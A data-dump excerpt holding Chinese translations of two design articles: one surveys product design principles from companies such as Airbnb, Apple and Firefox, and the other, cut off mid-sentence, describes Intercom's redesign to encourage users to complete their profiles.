    "content": "> * 原文地址：[Design Principles Behind Great Products](https://medium.muz.li/design-principles-behind-great-products-6ef13cd74ccf#.uo9ssig6q)\n* 原文作者：[Anton Badashov](https://medium.muz.li/@badashov?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jifaxu](https://github.com/jifaxu)\n* 校对者：[llp0547](https://github.com/llp0574), [skyar2009](https://github.com/skyar2009)\n\n# 优秀产品背后的设计原则\n\n![progressiveMedia-noscript js-progressiveMedia-inner](https://cdn-images-1.medium.com/max/2000/1*Cd14Zx0mHo_rfTt_bDqSsg.gif)\n\n最近，我需要为我正在做的产品提一些高级原则。我在寻找一些简单而有效的原则，可以用它们来引导设计决策，并解决讨论时的一些分歧。第一步，我决定看看周围的人是怎么做的。经过一段时间的整理，我写了这篇文章，希望能对那些面临这同样问题的朋友有所帮助。\n\n但我发现对于设计原则本身是什么这个概念存在一些误解，所以我们先来快速深入一下这个话题。\n\n\n### 原则包括什么 ###\n\n如果你去尝试用 google 搜索 “设计原则”，你可能找到的是一些关于图形设计的基础：接近度、平衡、对比度、空间等等。都是些优秀的设计师早已熟知的东西。\n\n下个大部分是合理设计过程的一些原则。掌握这些概念集合可以使你成为一个真正专业的设计师，以极高的效率产出一份优秀的设计。将这些原则用于整个团队，确立了新员工在短期内应达到的标准。让我们看一下 [GOV.UK Design Principles](https://www.gov.uk/design-principles)。\n\n![progressiveMedia-noscript js-progressiveMedia-inner](https://cdn-images-1.medium.com/max/600/1*Sx_CxnMtQynYgg-0vMv5FA.png)\n\n这个列表似乎是合理的，但我认为这样的事情现在是一个基础标准。每个设计师都在和数据打交道，并且试图理解上下文。我相信，如果你为你的团队选择设计原则，应该挑选那些具有开创性，而且可以挑战团队的原则，这样才能进步。\n\n\n一些团队把他们的原则放在网上，我经常看到一些像“用户友好”这样的原则。我坚信，这样的狗屎是不值得放上来的，除非你的团队里都是一些不懂人际关系的怪人，而你想改变这一事实。既然这样那你为什么要雇用他们？\n\n![progressiveMedia-noscript js-progressiveMedia-inner](https://cdn-images-1.medium.com/max/800/1*lyf7k6VSbGBGm8Gl-oLn6A.gif)\n\n所以，我正在寻找的是**产品设计原则**。而 Gov.UK 至少提供了一个：\n\n>  为了每一个人设计\n>\n>  易用的设计才是好的设计。我们设计的一切都应该尽可能具有包容性，清晰和可读，哪怕为此牺牲一些美观。我们是为需求而不是为观众设计。我们的设计应该面向所有人，而不仅仅是那些习惯于使用网络的人。最需要我们服务的人通常是最不会使用的人。我们需要从一开始就想想那些人。\n\n产品设计原则应该告诉你、你的团队和利益相关者，你应该在艰难的选择中走哪条路。它们应该专注于和其他竞品之间的区别、产品给人的感觉、以及对商业和客户来说重点是什么。\n\n您可能知道苹果的人机界面指南或 Google 的 Material 设计指南。这些系统背后的设计原则都试图在同一平台下统一不同产品的风格，带来一致的体验。\n\n如果你的产品是多平台的，那么就应该考虑一套设计系统和背后的一些原则，和产品设计原则一样。你想做到的其实是和其他竞品有所区别，并在不同的系统平台设备上统一体验。\n\n这里就有一个相同的问题：一些团队为他们的产品提出了一些显而易见的设计原则：清晰、简单、可用 ── 你不可能在脱离这些原则的情况下创造出一个好产品，实际上今天的专业设计师已经默认这些原则了。\n\n#### 综述 ####\n\n- **优秀的设计原则**\n  一些优秀设计的规则。\n- **设计流程原则**\n  通过什么样的方式设计优秀的产品。\n- **产品设计原则**\n  产品给人的感觉是怎么样，它应该给用户带来什么样的情绪，又如何与竞品区分开来。\n- **系统设计原则**\n  在不同的场景下统一产品的用户体验。\n\n\n### 你的产品需要设计原则吗？###\n\n强大的原则和强大的产品并没有一个必然的联系。但是显然，伟大产品产生的过程需要各个方面的配合，设计原则只是其中一方面，它是用来指导你做出决定和减少争议。它们的目标都是节省时间。\n\n#### 优秀的原则是什么？####\n\n- 简单\n- 有实际的例子\n- 指导设计决策\n- 反映品牌价值\n\n#### 收集 ####\n\n我收集了所有我感觉合适的原则。不包括基本设计规则或过程原则，但我添加了系统设计原则，因为它们与产品设计原则有共同之处。\n\n打起精神来！\n\n### 让我们开始吧：###\n\n![progressiveMedia-noscript js-progressiveMedia-inner](https://cdn-images-1.medium.com/max/800/1*R9nTDNPwWChKAZRIo77yeA.gif)\n\n### [Airbnb](http://airbnb.design/building-a-visual-language/) ###\n\n**统一**\n\n应用的每个部分都是一个更大的整体的一部分，它们都应该对于整体有提升效果。而不应该存在独立特征或异常。\n\n**普遍**\n\nAirbnb 在世界各地被广泛使用。我们的产品和视觉语言应该是友好的。\n\n**标志**\n\n我们专注于设计和功能。我们的工作就是让这一点突出出来。\n\n**沟通**\n\n我们使用动效吸引用户，这也使得我们以用户更容易理解的方式进行沟通。\n\n**像”用户的共同朋友”那样设计**\n\n在产品中将线上的不确定性降至最低，这会让线下的活动变得更加有效。我们的产品让用户彼此认识; 我们也会去了解您正在寻找什么，并凭借这些知识，为用户提供新的体验。。我们提供平台，帮助用户交朋友。当你需要我们的时候，我们就在这儿。\n\n**为了第一印象而设计**\n\n虽然 Aribnb 需要用户提供一些信息来订房，但是我们绝不会泄露用户信息。也就是说，我们需要用户告诉我们他们是谁，但是否告诉我们关于他们自己的信息取决于用户本身。\n\n**信任需要努力**\n\n就像生活中的大部分事情一样，你会从 Airbnb 中获得回报。对于 Airbnb 的信任是双向的。我们发现客人越信任房东，房东就越愿意信任用户。\n\n\n![progressiveMedia-noscript js-progressiveMedia-inner](https://cdn-images-1.medium.com/max/800/1*Nkd9uYfm5uc5nOB8X7a6kw.gif)\n\n### [Facebook](https://www.facebook.com/notes/facebook-design/facebook-design-principles/118951047792/) ###\n\n**普遍**\n\n我们的使命是使整个世界更加开放，连接每个角落与每个人。所以我们的设计需要考虑到每个人，每一个文化，每一种语言，每一台设备，以及以及每一个人生阶段。这就是为什么我们构建的产品适用于90％的用户，并且去掉了只对少数人有用的功能，即使这样的代价是短期内的退步。\n\n**以人为本**\n\n只要用户来到我们的网站就会被朋友们围绕着，也能认识更多的人。我们产品的核心承诺就是你关心的人都在这儿。这也是为什么我们的声音和视觉风格是用户的声音、面孔以及言论之后的背景。\n\n**简洁**\n\n我们的视觉风格是简洁和低调，目的是为用户创建出一个干净的使用环境。一个小型且留白充足的空间可以增进用户的参与度，加强诚实透明的沟通。简洁可不是视觉风格中最容易实现的效果。正好相反的是，由于我们减少了依赖样式的数量，间距比例和颜色搭配变得更加重要了。\n\n**实用性**\n\n通过时间的检验，我们发现当相同的部分以相同的方法表达时，产品的易用性大大的提高了。我们通过一致的体验与用户互动以建立起信任，所以，重用，不要重复设计。\n\n**有用**\n\n我们的产品比娱乐更实用，会在日常中被重复使用，提供有效的价值。这就是为什么我们的核心内容（用户每天都参与的行为）是精简的，而且避免了不必要的点击和空间的浪费。\n\n**快捷**\n\n我们重视用户的时间胜过我们自己的。我们认识到更快的体验会带给用户高效，轻松的感觉。因此，不应该让用户去担心网站的性能问题。我们的网站要尽可能的快。\n\n**透明**\n\n用户信任我们，他们的身份、照片、想法、谈话记录都给了我们。我们以最大的诚实和透明度回报他们。我们很清楚发生了什么及其发生的原因。\n\n\n![progressiveMedia-noscript js-progressiveMedia-inner](https://cdn-images-1.medium.com/max/800/1*9TH9yRReIvtYwcxMaoTJ4Q.gif)\n\n### [Apple](https://developer.apple.com/ios/human-interface-guidelines/overview/design-principles/)  ###\n\n**美学完整性**\n\n美学完整性代表了应用程序的外观和行为与其功能相合的程度。例如，帮助人们执行严肃任务的应用程序可以通过使用微妙，不显眼的图形，标准控件和可预测的行为来保持他们的注意力。另一方面，沉浸式的应用程序，如游戏，可以提供一个迷人的外观，带来乐趣和兴奋感，同时鼓励用户主动探索。\n\n**一致性**\n\n具有一致性的应用程序通过使用系统提供的界面元素、众所周知的图标、标准文本样式和统一术语来实现熟悉的标准和范例。该应用程序包含的功能和行为都在人们预期之内。\n\n**直观的操作**\n\n直接操纵屏幕上的内容可以吸引人的注意力并有助于理解。当旋转设备或使用手势影响屏幕上的内容时用户会觉得这很直观。通过直观的操作，他们可以马上看到动作的直接效果。\n\n**反馈**\n\n反馈就是接受操作并显示结果，让人们知道。内置的 iOS 应用程序提供可感知的反馈，以响应用户的每个操作。比如交互元素在轻敲时突出显示，进度指示器显示耗时操作的状态，动画和声音有助于突出操作的结果。\n\n**隐喻**\n\n如果人们发现应用的虚拟对象和动作和平时的体验相似，那就能更快地学习 ── 无论是现实世界还是数字世界。隐喻在 iOS 中表现良好，因为人们与屏幕进行物理交互。他们移动视图以露出下面的内容。他们拖曳内容， 他们切换开关，移动滑块和滚动选择器。他们甚至可以像在现实世界中那样浏览书和杂志的页面。\n\n**用户控制**\n\n在 iOS 中，是用户在控制而非应用程序。应用程序可以建议一个行动方案或警告危险后果，通常由不应该完全让应用程序去进行决策。最好的应用程序在给用户的选择权和避免不必要的结果之间能找到正确的平衡。一个应用程序可以通过保持交互式元素的熟悉性和可预测性，让用户确认破坏性的操作，同时让它易于取消（即使这些操作已经在运行了）来让用户感觉一切都在控制之中，。\n\n![progressiveMedia-noscript js-progressiveMedia-inner](https://cdn-images-1.medium.com/max/800/1*nYyUvTFwwQAsjj2S58ac1A.gif)\n\n### [Google Material Design](https://material.io/guidelines/#introduction-principles)  ###\n\n**Material 是一种隐喻**\n\n原型化隐喻是空间和动作系统的统一理论。原型化的基础是触觉，灵感来自纸张和墨水的。现在它是一种先进而充满魅力的技术。\n\n原型化的设计接近现实中的视觉体验。使用熟悉的触觉属性有助于用户快速理解。现在，原型化的灵活性创造了新的能力，超越了物理世界，而不破坏物理学的规则。\n\n光，表面和运动的基本原理是传达物体如何在空间中移动，相互作用和存在的关键。逼真的光照显示接缝，划分空间，并指示移动的部件\n\n**大胆，图像，刻意**\n\n基于打印的设计元素 ── 排版，网格，空间，尺度，颜色和图像的使用的基本要素 ── 指导视觉处理。这些元素不只是为了取悦眼睛。他们创造层次结构、意义和焦点。大胆的颜色选择，边缘到边缘的图像，大规模的排版和有意的留白创建了一个大胆和图形界面，这些能让用户沉浸于体验。\n\n强调用户的操作使可以让核心功能立即显现，并为用户提供引导。\n\n**动效应具有意义**\n\n动效以尊重并加强用户作为主要目的。用户操作是最初引入运动系统的原因，这改变了整个设计。\n所有操作都在单个环境中进行。就算对象经过了变换或重组，最后呈现给用户的时候也不应破坏掉体验的连续性。\n\n动效是有意义的，有助于集中注意力和保持连续性。在尚未清晰展现的时候有微妙的反馈，连贯动画也是高效的。\n\n![](https://cdn-images-1.medium.com/max/800/1*2isg1rY5gimcFb5r4mgLMg.gif)\n\n### [Microsoft](https://www.google.ru/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;ved=0ahUKEwiH4qL2h_7RAhXEF5oKHTUODrAQFggcMAA&amp;url=https%3A%2F%2Fwww.microsoft.com%2Fen-us%2Fdesign%2Fprinciples&amp;usg=AFQjCNH_3g0Ib4u3izhV6NVodNohr9nA4g&amp;sig2=YOGn3O0svJx5bcsXbhql4w&amp;cad=rja) ###\n\n**保持简单**\n\n简单是我们从一而终的追求。我们知道设计应该是直观的。这让用户对我们的产品始终熟悉。\n\n**私人化**\n\n接下来，我们的挑战是与个人建立起情感上的联系。我们依据现实中人们生活、思考的方式来进行设计。这样做的结果就是我们的设计让用户觉得这是为他私人订制的。\n\n**广泛思考**\n\n我们试图拥抱那些符合人类习惯的设计。这不仅是一种工作态度  ── 还是在创建一个更加美好的世界。\n\n**创造快乐**\n\n我们最后的原则是关于系统的活力。这是关于如何让用户感觉到产品是由人创造的。这会给用户带来惊喜的体验。\n\n![](https://cdn-images-1.medium.com/max/800/1*_ww9DxBI9JeWuDIqf9j4_Q.gif)\n\n### [Medium](https://medium.com/@dustin/thanks-for-writing-the-article-julie-8362fd235ae0#.h5e9d8xws)  ###\n\n**引导高于选择**\n\n当我们设计 Medium 的编辑器时经常提到这个原则。我们为了有效的引导用户而有意改变布局，类型和颜色选择。因为我们希望人们专注于写作，而不需要去被选择打断，所以引导是更合适的。\n\n**可用性高于一致性**\n\n这可能看起来是存在争议的，但是当应用于不同的设备，它的目的是明确的。如果它更适合于某种操作系统，我们宁愿破坏一致性。\n\n**不断完善**\n\n以 Medium 中分享草稿、写评论和记笔记为例。Medium 上的内容应该是随着时间不断的改进。我们的目的可不是为互联网设计印刷书。\n\n![](https://cdn-images-1.medium.com/max/800/1*6EIxwoYI7Y7VoH7M2L8Jbg.gif)\n\n### [Firefox Design Values](https://people-mozilla.org/~madhava/FDV/) ###\n\n**照顾你自己**\n\nFirefox 支持您 ── 您的安全，隐私和网络生活的质量。它帮助您为您的时间，数据和关注做出明智决定。\n\n- 用户主权\n- 默认为隐私\n- 没有意外\n- 可行性建议\n\n**你在帮助改善它**\n\nFirefox 为最好的用户体验而设计，但它只有在你的手中才能完美的发挥作用。\n\n- 调研以了解我们的非核心社区的需求\n- 让用户从默认配置开始\n- 隐式与显式自定义\n- 邀请用户来帮助改进我们的产品\n\n**对用户友好**\n\nFirefox 是您选择的产品社区的一部分，因为它们是优秀的，而不是因为它们是默认的。所以，Firefox 从来没有强迫你使用特定的服务或程序。相反，它让你选择（也会有一些很好的建议），所以你可以有最好的体验。\n\n- 用户控制与选择\n- 您选的服务是易于使用的\n- 帮助您从互联网中获取更多的信息\n\n**旺盛**\n\n虽然其他浏览器可能或朴素简单，或时尚，而 Firefox 是人类，它有趣，异想天开和快乐。我们都喜欢网络，Firefox也是如此。\n\n- 让人们在使用 Firefox 的时候感觉是在于人交互\n- 有趣的工具也要易于使用\n- 幽默和奇想\n- 有自己的观点\n\n**精心制作**\n\nFirefox 是由关心细节的人制作的。一个美好的产品应当易于使用，并让用户感到轻松和明白。这只有通过注意细节和精心制作才能实现。\n\n- 另见我们的视觉设计指南\n- 跨平台的外观体验的一致性\n- 可感知的质量至关重要\n\n**全球化**\n\nFirefox 由世界各地的人们制作并使用。它不只是简单地翻译 ── 它是为整个世界不同的地区而设计。虽然某些行为是普遍的，但是在全球各地是存在使用和需求的差异性，Firefox 关心这些差异。\n\n- 全球化意味着本地化，本地化和本地化\n\n**平衡权力和简单性**\n\nFirefox 简单且易用，在它的设计中融入了干净，直接的力量。但是简单是方法不是最终目的 ──  最终目的是易于理解和用户至上。\n\n- 80/20/2：外观极简主义并易于访问。\n- 用户至上与易于理解，而不只是简单。\n\n**让网络变得有意义**\n\n网络是巨大的，很难理解。Firefox 通过专注于你真正的目标和活动来帮助理解它，并为你提供实现目标所需的工具\n\n- 专注于真正的人类行为\n- 许多实际任务涉及浏览器和其他工具\n- 快速访问你东西和网络\n- 不要说术语\n\n**高用户性能**\n\n速度仍然是良好的浏览器体验的最重要的部分，但是除了基准的技术性能之外，浏览器必须感觉到内部响应。\n\n- 性能是客观的，但响应性是主观的\n- 最好有令用户愉悦的表现\n\n![](https://cdn-images-1.medium.com/max/800/1*jV-stFJ91XQfBzvaYBCKJw.gif)\n\n### [Salesforce](https://medium.com/salesforce-ux/defining-principles-to-drive-design-decisions-b647b68fb057#.i7e3yox8p) ###\n\n**明晰**\n\n消除歧义。使人们对自己看到的，理解的和行动有信心\n\n**效率**\n\n简化和优化工作流程。智能地预测以帮助人们更好、更聪明、更快地工作。\n\n**一致性**\n\n通过对同样的问题应用相同的解决方案来培养熟悉感和加强直觉。\n\n**优雅**\n\n通过周到和优雅的工艺展示对人们的时间和精力的尊重\n\n![](https://cdn-images-1.medium.com/max/800/1*J1uRg2nxhzNQenObcVk0rA.gif)\n\n### [IBM UX](http://www.ibm.com/design/language/experience/) ###\n\n**发现、尝试和购买**\n\n与用户保持联系。展示，不要说服。创造从“尝试”到“购买”的无缝转换。\n\n- 发现\n  一个理想的发现体验发生在人们觉得答案是自己找到的时候。\n- 尝试\n  尝试一个产品应该像第一次试驾一样。\n- 购买\n  购买基于软件的产品或数字服务应该像购买咖啡一样简单和直接。步骤和细节应该是显而易见的。一旦他们的购买完成，给用户一种兴奋的感觉\n\n**入门**\n\n邀请用户，并向他们展示他们可以做什么。初步体验会创造持久的印象\n\n- 人们在接触新事物时会很快形成意见，特别是那些可以改善他们生活的事情。\n- 让用户快速完成工作，并向他们展示与您的产品相关的个性化方法。用一些意想不到的东西去吸引他们，以显示你能为他们考虑一切。不要低估小东西; 如果用户发现产品可以节省他们的时间，注意力，甚至他们的办公桌上的空间，他们马上就会感到满意。\n- 直到真正提供了个人或商业价值，试用才算结束。\n\n**每天都在使用**\n\n用户每次与您的产品互动时都应该获得个人价值的提升。\n\n无论是每天还是一年一次，用户应该总是感觉一切都在控制之下，能够在他们离开的地方继续。用户应立即了解产品的有用性。系统应该传达其概念模型，以便您的用户知道能期望什么，并且可以执行必要的操作或知道该怎么做。\n\n- 遵循内容，帮助用户了解达到目标的途径。\n- 允许他们为了更好的适应自己的需求定制个性化产品。\n- 提供一个容错率高的环境。\n- 通过确保正确的操作和工具是始终可用的来保持用户的积极性。\n- 当用户完成工作时，给他们以满足感，让他们为自己的工作成果骄傲。\n\n**管理和升级**\n\n不断地改进应该像每天使用产品一样优雅和可预测。\n\n- 管理\n  易于管理的产品会被经常使用。不必深思熟虑如何管理产品工作情况的用户是一个快乐的用户。无论是负责整个组织的管理员还是最终完成工作的用户，设计明显的管理任务都会带来积极的体验。记住，无论是个人还是团队，期望都是“不要因为管理上的事麻烦我”。\n\n- 升级\n  在升级过程中最小化用户的参与度并尽量不去打扰用户。\n  在引入重大的用户体验更改时，请不要让您的用户猜测新功能或已删除的内容是什么。通知他们更改正在发生或已发生，发生了什么以及会对他们造成什么影响。\n\n**获得支持**\n\n以用户期望的方式提供支持。提高他们的知识，并鼓励他们分享。\n\n所有五种经验都存在着标志性的“支持”体验。支持是主动，参与和多种形式：\n\n- 在用户所需的论坛（例如，Web 搜索结果和网站，如 TechCrunch）\n- 作为发现，尝试和购买或入门的手段\n- 在每天的使用中都能快速获得帮助\n- 作为 Leverage 和 Extend 的命令行界面帮助\n\n当用户寻求支持时，帮助他们轻松找到他们所需要的。了解用户的习惯，并为他们配备灵活并随时可用的工具\n\n用周到的互动和内容引导他们，以便他们可以学习如何进步并获得必要的技能。在可能的情况下，帮助用户避免错误，而不是等待错误发生\n\n当您的产品或服务中断或不可用时，为用户提供实际状态，以帮助他们了解如何以及何时才能重新使用。确定在当前环境下发出的通知对用户是有意义的。\n\n提供支持应该有助于提高用户对产品的认知。启蒙用户成为专家。使用适合您的目标受众的简明语言。给他们提供反馈和分享他们学到的东西的机会。用户经常信任来自同行的建议，因此尽可能地促进社区学习。\n\n![](https://cdn-images-1.medium.com/max/800/1*oY3kiz236H2rqvT3_gN4cA.gif)\n\n### [Bing](http://www.ibm.com/design/language/experience/) ###\n\n- 为探索者设计\n- 愉悦用户并创造惊喜\n- 赢得信任\n- 品牌效应\n- 获得收益\n- 展示最好的一面\n- 按相关性排布页面\n- 注重对于速度的需求\n- 提供更多的内容\n- 提供无缝衔接的体验\n\n![](https://cdn-images-1.medium.com/max/800/1*aBG9zDQnL3Rsy2Dlb8PIRg.gif)\n\n### [BBC GEL](http://www.bbc.co.uk/gel/philosophy/design-philosophy) ###\n\n**普遍**\n\n我们的信息是清晰的，通过简单，有用和直观的界面进行交流。我们的服务本质上是开放和易于访问。\n\n**引人注目**\n\n我们的声音从严肃，权威，到风趣和娱乐。我们听起来真实并及时，也温暖和人性化。我们通过引人入胜的故事吸引观众。\n\n**真实**\n\n我们重视用户对我们的熟悉和信任。我们继承了 BBC 的标志性设计和广播历史。\n\n**开拓**\n\n我们进行了令人惊喜和高兴的创新设计。我们总是会给观众带来一些意想不到的东西。\n\n\n**及时**\n\n我们整理了英国的事件时间表：既快速及时反映当下实事，也会加上旧闻相关链接。\n\n**特色**\n\n我们通过展望未来，而不是简单地参考今天的设计趋势脱颖而出。我们在千篇一律的和随意而为之间取得设计的平衡。\n\n**参与**\n\n我们的所有服务和平台是一个连接整体，根据上下文提供连贯的使用体验。我们将具有共同兴趣和经验的受众联系起来。\n\n**本地化/国际化**\n\n我们需要和所有人对话，但我们也能识别每一个个体。我们的消息是可扩展和本地化的。\n\n**现代英国**\n\n我们的服务是英国日常生活的一部分。符合现代英国设计审美并延伸到国界之外。我们的性格充满活力，有时也古怪。\n\n**完美**\n\n最后的是我们把质量放在第一位。\n\n![](https://cdn-images-1.medium.com/max/800/1*qgitfkONhVX5Vhbe4mENKQ.gif)\n\n### [**Pinterest**](https://medium.com/@suprb/redesigning-pinterest-block-by-block-6040a00d80a3#.v2xgv1fl2) ###\n\n**通俗易懂**\n\n- **直观，不需要学习成本**\n  即使没有任何的解释你也知道它是怎么工作的。\n- **让用户感觉自己很强大**\n  没什么会让你感到不舒服或者让你不信任这个系统。系统为您提供正确的组件，并询问您接下来该做什么。\n- **让内容变得更好**\n  该框架是完全无缝和隐藏的。在你需要它之前你甚至没有注意到它。想要什么是你自己决定的，而不是我们强迫你这么做的。\n\n**动画**\n\n- **多彩**\n  个性是大胆和突出。\n- **视觉反馈**\n  以现实世界的方式交互。\n- **出乎意料**\n  使用体验是有趣的，绝不会让你觉得压抑。\n\n**牢不可破**\n\n- **为探索而生**\n  就像一个孩子的玩具，你想试试看看会发生什么。你用的越多，你学习越快，得到的回报越多。\n- **不可错过**\n   一切都是为了帮助您轻松使用，完全符合您的想法。\n- **可逆**\n  如果你不小心做了一些不能产生你想要的结果的东西，很轻松就可以纠正它。\n\n![](https://cdn-images-1.medium.com/max/800/1*xnF6U3zhuOF9qH6gu_2HpQ.gif)\n\n### [Lyft **Design Principles**](http://www.fueltravel.com/blog/tips-from-lyft-let-your-brand-drive-your-ux-decisions/) ###\n\n**明确**\n明确的选择和上下文\n**建立信心**\n一致性和透明度\n**独一无二**\n自主和愉快\n\n![](https://cdn-images-1.medium.com/max/800/1*VHnY-ykaxPUfAEqrci-n6g.gif)\n\n### [Foursquare](https://medium.com/@sambrown/designing-the-new-foursquare-8f8788d366f0#.fh81og5d1) ###\n\n**因人而异的推荐和体验**\n\n我们为什么应该在寻找一个吃饭，喝酒或购物的地方时得到相同的建议。获得一个适合所有地方的名单在 2006 年可能是创新的，但现在彻头彻尾过时了。我们的口味都不同，那为什么我们都会看到相同的结果？\n\n**持续收集数据和依据情境使用**\n\n我们的手机应该了解我们 ── 我们的口味，我们的社会关系和我们的喜好。并且，使用它们所知道的帮助我们更好地探索我们周围的世界。如果你喜欢老式服装，它应该告诉你附近有一个很好的店。如果你在一个新的城市，它应该告诉你，你的朋友凯蒂强烈推荐这个市中心的小餐馆。如果你渴望辛辣的食物，它应该在你坐下来吃饭时建议你点什么菜。\n\n**有趣的视觉语言**\n\n通过简单、有趣的视觉体验参与城市的探索：将大胆的图标，或明或暗的颜色，标志作为超级英雄会徽和地图标记的组合。\n\n![](https://cdn-images-1.medium.com/max/800/1*Sp8eDx85hFUytKZPBuTumg.gif)\n\n### [**Asana’s Design Principles**](https://blog.asana.com/2013/10/design-principles/) ###\n\n**允许用户专注工作不被干扰**\n\n用户的注意力应在他们的控制之下，只有个人相关事情变化才需要用户转移注意力.。\n\n**通过清晰的表达提高信心**\n\n通过这个程序你能明确地知道在团队中发生了什么及其发生原因。\n\n**培养有创造力和充满感情的人际动态**\n\n用户觉得他们是一个团队的一部分，在这里他们可以相互依赖，感觉正在朝着一个共同的目标前进。\n\n**更快速，轻松，有目的的互动设计**\n\n简单和普通的任务应该是无分歧和明显的; 复杂的任务应该高效和令人愉快。但是，速度不应导致差错。\n\n\n**在逐步探索中让每个用户感到满意**\n\n每一个使用 Asana 的人都应该感觉他们知道如何使用该产品，无论他们使用多少功能。\n\n**持续标准化，同时在需要的时候创新**\n\n用户应该觉得 Asana 熟悉而现代。\n\n\n> **如果你的产品有一些很好的设计原则，或者你觉得我错过了其他一些优秀原则的话，请[联系我](mailto:anton@badashov.com)，我会将它加到列表里去。**\n"
  },
  {
    "path": "TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md",
    "content": "> * 原文地址：[Design principles: what to do when nobody is using your feature](https://blog.intercom.com/design-principles-what-to-do-when-nobody-is-using-your-feature/)\n> * 原文作者：[Brendan Fagan](https://blog.intercom.com/author/brendanfagan1/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [iloveivyxuan](https://github.com/iloveivyxuan)\n> * 校对者：[xunge0613](https://github.com/xunge0613)、[SareaYu](https://github.com/SareaYu)\n\n---\n\n# 设计准则：如何说服用户去使用新的功能\n\n![hero](https://blog.intercomassets.com/wp-content/uploads/2017/03/13212312/Intercom_Profiles_Walkthrough_Logo.jpg)\n\n### 去年，在我们发布了即时消息之后，我们又添加了一个功能，用户可以创建丰富的个人信息，这样用户就可以知道，在另一端和他们交流的是一个真实的人。\n\n可是一个问题随之而来，没有人去尝试这个新的功能。功能刚刚发布之后，**只有 13-15% 的用户完整地填完了个人信息**，大部分人只填写了一部分，而其他的人是一点都没写。\n\n![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20134424/ss-e1490018054223.png)\n\n在我们的调研小组和分析小组跟大学生聊过之后，我们发现新特性之所以没有被采用，主要原因有 2 个：\n\n1、**不显眼**。填写信息的入口被藏在了整个应用里特别不显眼的地方。\n2、**不明确**。用户并没有明确意识到，个人信息对于建立和别人的人际关系是多么的重要。\n\n## 解决办法\n\n个人信息贯穿 Intercom 产品的各个部分，也就是说，我们必须投入大量的人力，才能让大家使用这个功能。用户增长团队（Growth Team）先将创建个人信息整合到产品中，然后 Intercom 通过产品本身，再让用户注意到他们可以编辑个人信息。\n\n但其实，只要好好利用手机应用本身，就很可能大大增加用户使用数量。大约有 45% 的组员会使用我们的安卓应用或者苹果应用（[Resolve](https://www.intercom.com/customer-support-software/help-desk) 产品）和他们的客户聊天。\n\n## 开始\n\n对于每一个新项目，Intercom 的设计师都会先根据我们要努力解决的困难，列出一张清单，写清最高目标。这份清单可以引导你去思考解决方案。我们的清单会像下面这个样子：\n\n1、**增加受众率**，让更多没有填完信息或是根本没有填写信息的人把信息填写完整。\n2、**说服用户**，让他们明白公开个人信息是很重要的一件事。\n3、让用户随时都可以轻松地**编辑个人简介**。\n\n### 进行系统的思考\n\n首先，我们抛开个人信息功能不谈，这样可以帮助团队去理解系统架构，然后决策出哪些特定组件需要优先考虑。也就是说，列出现存组件、状态、规则等等。下面是一个会被贴到我们办公室墙上的例子。\n\n![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20182819/system-1.png)\n\n### 想法可以来自任何团队\n\n这个系统文档帮助团队尽早地对技术限制进行讨论，甚至在初期，开发团队就可以对设计团队没有考虑到地方提出一些建议。例如，有人提到，我们可以根据已有的数据来自动填充个人信息，因为在用户注册的时候，我们就获得了用户的姓名，所以为什么不能自动填充好，为用户节省一些手动录入信息的时间呢？\n\n在画出几个方案的草图之后，我们去见了我们的产品设计总监 ——  [Emmet](https://blog.intercom.com/author/thoughtwax/)，从他那里得到了反馈还有下一步的计划。下面是 4 个初步设想。\n\n![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20180350/Profiles-Option-A.png)\n\n![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20180344/Profiles-Option-B.png)\n\n![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20180347/Profiles-Option-C.png)\n\n最最关键的部分是提醒用户和说服用户。我们不希望它被轻易地跳过，同时我们需要通过它让用户明白，个人信息里的每一个部分都很重要。但是，我们知道过度打扰用户，会让用户感到厌烦（就是说用户总是想要跳过），所以我们想要尽可能地减少每一个过程的操作步骤。最后，我们决定采用最简单的流程。下面是会议的决定，皮皮虾我们走！\n\n![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20182812/notes.png)\n\n## 设计解决方案\n\n这个时候，我们做了两个决定。我们要在启动应用的时候加一个简单的流程，询问没有填完信息的用户是否要把信息填写完整（提醒并且教育用户）。我们第三个目标就是“让用户随时随地编辑自己的信息”。我们决定沿用我们现在的引导模式，然后在抽屉式导航中加一个简单的编辑图标，这样就会进行跳转。\n\n**注意：** 在 Intercom，我们其中的一个重要价值观就是“仰望星空，脚踏实地”。在这之前，我们一直在规划更新导航栏。，虽然加在底部导航栏中会比加在抽屉式导航栏中更好，然而那依赖于工程师大量的工作量，而我们需要尽快发布。\n\n![](https://blog.intercomassets.com/wp-content/uploads/2017/03/13225749/Current-navigation-vs-planned-navigation.png)\n\n在系统架构层面上，我们提出了 3 个用户状态，它们会让用户处于流程中的不同位置。在大方向上，我们知道流程由 3 个主要的步骤组成（示意图如下），这么做也是因为我们想让流程尽可能的简单和轻量。\n\n![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20182815/entry.png)\n\n系统设计的流程图还是很简单的，它从开始到结束是一段固定的路径，但是如果把用户状态也考虑进去，就会变得很复杂。但我们想让你直接跳到相关的步骤，而不是强迫你一定要走完整个流程。这里也需要考虑不同平台会有的特殊步骤，比如开启摄像头权限。不是所有的步骤都需要一个新页面。\n\n于是，这些图表也会打印出来并且挂在我们的办公室里。工程师会常常站在墙前浏览整个流程，有时候还会提出一些边界情况，需要我们一起再对流程进行修改。\n\n![](https://blog.intercomassets.com/wp-content/uploads/2017/03/13211829/diagram.png)\n\n## 建模\n\n到目前为止，我们已经有了框架，然后就可以将每个部分进行填充了。视觉和交互设计我们同时进行，然后在进行开发的时候也还要继续调整视觉。我们发现对于复杂的交互和动画，越早确定细节越好（这也是为什么高保真原型很棒的原因），因为之后再去做某些调整，比如更新资源、颜色等等，就会变得很困难，毕竟它和调整视觉设计不一样。\n\n我们使用 [Framer JS](https://framer.com/) 来实现初期的交互原型，并和工程师对最后可以实现什么效果进行了讨论。下面是我们 iOS 应用最终的原型图，它经历了整整 12 